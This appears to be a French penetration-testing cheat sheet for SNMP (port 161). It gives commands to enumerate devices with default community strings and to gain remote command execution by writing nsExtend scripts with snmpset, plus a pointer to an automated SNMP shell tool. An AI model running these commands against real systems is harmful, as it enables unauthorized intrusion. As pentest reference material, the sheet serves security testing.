161 - SNMP
Prérequis
Pour exécuter les commandes suivantes, il est recommandé d’installer le paquet snmp-mibs-downloader
:
apt install -y snmp-mibs-downloader
Lister les informations d’une machine
onesixtyone $VICTIM_RANGE public
snmpwalk -c public -v1 -t 10 $VICTIM_IP
SNMP RCE
La table nsExtendObjects permet de créer des scripts custom pouvant être consultés via SNMP. Il est possible de lister les scripts à l’aide de la commande suivantes:
snmpwalk -v2c -c public $VICTIM_IP NET-SNMP-EXTEND-MIB::nsExtendObjects
Si l’utilisateur a accès en écriture à SNMP, il peut créer ses propres scripts à distance:
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c $COMUNITY $VICTIM_IP \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'
Tip
Il est possible d’automatiser l’exploitation de cette attaque avec l’outil SNMP Shell.
python shell.py $VICTIM_IP -c $COMUNITY
Ressources :